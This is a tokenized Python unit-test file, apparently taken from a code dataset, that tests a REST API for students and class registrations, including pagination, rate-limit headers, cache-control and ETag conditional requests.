"url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "sus", "an", "\\u", "in", "\\u", "algebra", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "sus", "an", "\\u", "in", "\\u", "lit", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "==_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "davi", "d\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "davi", "ds", "\\u", "reg", "\\u", "url_", "=_", "json_", "[_", "'", "registration", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "davi", "ds", "\\u", "reg", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "davi", "d\\u", "in", "\\u", "algebra", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "==_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "student", "s", " ", "for", " ", "each", " ", "class_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "algebra", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "algebra", "s", "\\u", "reg", "\\u", "url_", "=_", "json_", "[_", "'", "registration", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "algebra", "s", "\\u", "reg", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "sus", "an", "\\u", "in", "\\u", "algebra", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "davi", "d\\u", "in", "\\u", "algebra", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "==_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "lit", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lit", "s", "\\u", "reg", "\\u", "url_", "=_", "json_", "[_", "'", "registration", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "lit", "s", "\\u", "reg", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "sus", "an", "\\u", "in", "\\u", "lit", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "==_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "unregister", " ", "students_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "delete_", "(_", "sus", "an", "\\u", "in", "\\u", "algebra", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "delete_", "(_", "davi", "d\\u", "in", "\\u", "algebra", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "collection_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "'/", "api", "/", "v1", ".0", "/", "registration", "s", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "sus", "an", "\\u", "in", "\\u", "algebra", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "sus", "an", "\\u", "in", "\\u", "lit", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "davi", "d\\u", "in", "\\u", "algebra", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "==_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "delete", " ", "student_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "delete_", "(_", "sus", "an", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "collection_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "'/", "api", "/", "v1", ".0", "/", "registration", "s", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "API_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "rate", "\\u", "limits_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "app_", "._", "config_", "[_", "'", "USE", "\\u", "RAT", "E", "\\u", "LIMIT", "S", "'_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "'/", "api", "/", "v1", ".0", "/", "registration", "s", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "X", "-", "Rat", "e", "Limit", "-", "Rema", "inin", "g", "'_", "in_", "rv_", "._", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "X", "-", "Rat", "e", "Limit", "-", "Limit", "'_", "in_", "rv_", "._", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "X", "-", "Rat", "e", "Limit", "-", "Reset", "'_", "in_", "rv_", "._", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "int_", "(_", "rv_", "._", "headers_", "[_", "'", "X", "-", "Rat", "e", "Limit", "-", "Limit", "'_", "]_", ")_", "==_", "int_", "(_", "rv_", "._", "headers_", "[_", "'", "X", "-", "Rat", "e", "Limit", "-", "Rema", "inin", "g", "'_", "]_", ")_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "int_", "(_", "rv_", "._", "headers_", "[_", "'", "X", "-", "Rat", "e", "Limit", "-", "Rema", "inin", "g", "'_", "]_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "'/", "api", "/", "v1", ".0", "/", "registration", "s", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "429", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "API_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "pagination_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "create", " ", "sever", "al", " ", "students_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "student", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "name", "'_", ":_", "'", "one", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "201_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "one", "\\u", "url_", "=_", "rv_", "._", "headers_", "[_", "'", "Locat", "ion", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "student", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "name", "'_", ":_", "'", "two", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "201_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "two", "\\u", "url_", "=_", "rv_", "._", "headers_", "[_", "'", "Locat", "ion", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "student", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "name", "'_", ":_", "'", "three", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "201_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "three", "\\u", "url_", "=_", "rv_", "._", "headers_", "[_", "'", "Locat", "ion", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "student", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "name", "'_", ":_", "'", "four", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "201_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "four", "\\u", "url_", "=_", "rv_", "._", "headers_", "[_", "'", "Locat", "ion", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "student", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "name", "'_", ":_", "'", "five", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "201_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "five", "\\u", "url_", "=_", "rv_", "._", "headers_", "[_", "'", "Locat", "ion", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "collection", " ", "in", " ", "pages_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "'/", "api", "/", "v1", ".0", "/", "student", "s", "/?", "page", "=", "1", "&", "per", "\\u", "page", "=", "2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "one", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "two", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "==_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "total", "'_", "in_", "json_", "[_", "'", "meta", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "json_", "[_", "'", "meta", "'_", "]_", "[_", "'", "total", "'_", "]_", "==_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "prev", "'_", "in_", "json_", "[_", "'", "meta", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "json_", "[_", "'", "meta", "'_", "]_", "[_", "'", "prev", "'_", "]_", "is_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "first", "\\u", "url_", "=_", "json_", "[_", "'", "meta", "'_", "]_", "[_", "'", "first", "'_", "]_", "._", "replace_", "(_", "'", "http", "://", "local", "host", "'_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last", "\\u", "url_", "=_", "json_", "[_", "'", "meta", "'_", "]_", "[_", "'", "last", "'_", "]_", "._", "replace_", "(_", "'", "http", "://", "local", "host", "'_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "next", "\\u", "url_", "=_", "json_", "[_", "'", "meta", "'_", "]_", "[_", "'", "next", "'_", "]_", "._", "replace_", "(_", "'", "http", "://", "local", "host", "'_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "first", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "one", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "two", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "==_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "next", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "three", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "four", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "==_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "next", "\\u", "url_", "=_", "json_", "[_", "'", "meta", "'_", "]_", "[_", "'", "next", "'_", "]_", "._", "replace_", "(_", "'", "http", "://", "local", "host", "'_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "next", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "five", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "==_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "last", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "five", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "==_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "API_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "cache", "\\u", "control_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "client_", "=_", "Test", "Client_", "(_", "self_", "._", "app_", ",_", "self_", "._", "default", "\\u", "username_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "default", "\\u", "password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", ",_", "json_", "=_", "client_", "._", "get_", "(_", "'/", "auth", "/", "request", "-", "token", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "Cache", "-", "Control", "'_", "in_", "rv_", "._", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cache_", "=_", "[_", "c_", "._", "strip_", "(_", ")_", "for_", "c_", "in_", "rv_", "._", "headers_", "[_", "'", "Cache", "-", "Control", "'_", "]_", "._", "split_", "(_", "','_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "no", "-", "cache", "'_", "in_", "cache_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "no", "-", "store", "'_", "in_", "cache_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "max", "-", "age", "=", "0", "'_", "in_", "cache_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "cache_", ")_", "==_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "API_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "etag_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "create", " ", "two", " ", "students_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "student", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "name", "'_", ":_", "'", "one", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "201_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "one", "\\u", "url_", "=_", "rv_", "._", "headers_", "[_", "'", "Locat", "ion", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "student", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "name", "'_", ":_", "'", "two", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "201_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "two", "\\u", "url_", "=_", "rv_", "._", "headers_", "[_", "'", "Locat", "ion", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "thei", "r", " ", "eta", "gs_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "one", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "one", "\\u", "etag_", "=_", "rv_", "._", "headers_", "[_", "'", "ET", "ag", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "two", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "two", "\\u", "etag_", "=_", "rv_", "._", "headers_", "[_", "'", "ET", "ag", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "send", " ", "If", "-", "Non", "e-", "Match", " ", "header_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "one", "\\u", "url_", ",_", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "If", "-", "Non", "e-", "Match", "'_", ":_", "one", "\\u", "etag_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "304_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "one", "\\u", "url_", ",_", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "If", "-", "Non", "e-", "Match", "'_", ":_", "one", "\\u", "etag_", "+_", "',", " ", "'_", "+_", "two", "\\u", "etag_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "304_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "one", "\\u", "url_", ",_", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "If", "-", "Non", "e-", "Match", "'_", ":_", "two", "\\u", "etag_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "one", "\\u", "url_", ",_", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "If", "-", "Non", "e-", "Match", "'_", ":_", "two", "\\u", "etag_", "+_", "',", " ", "*'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "304_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "send", " ", "If", "-", "Match", " ", "header_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "one", "\\u", "url_", ",_", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "If", "-", "Match", "'_", ":_", "one", "\\u", "etag_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "one", "\\u", "url_", ",_", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "If", "-", "Match", "'_", ":_", "one", "\\u", "etag_", "+_", "',", " ", "'_", "+_", "two", "\\u", "etag_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "one", "\\u", "url_", ",_", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "If", "-", "Match", "'_", ":_", "two", "\\u", "etag_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "412", "_", ")_", 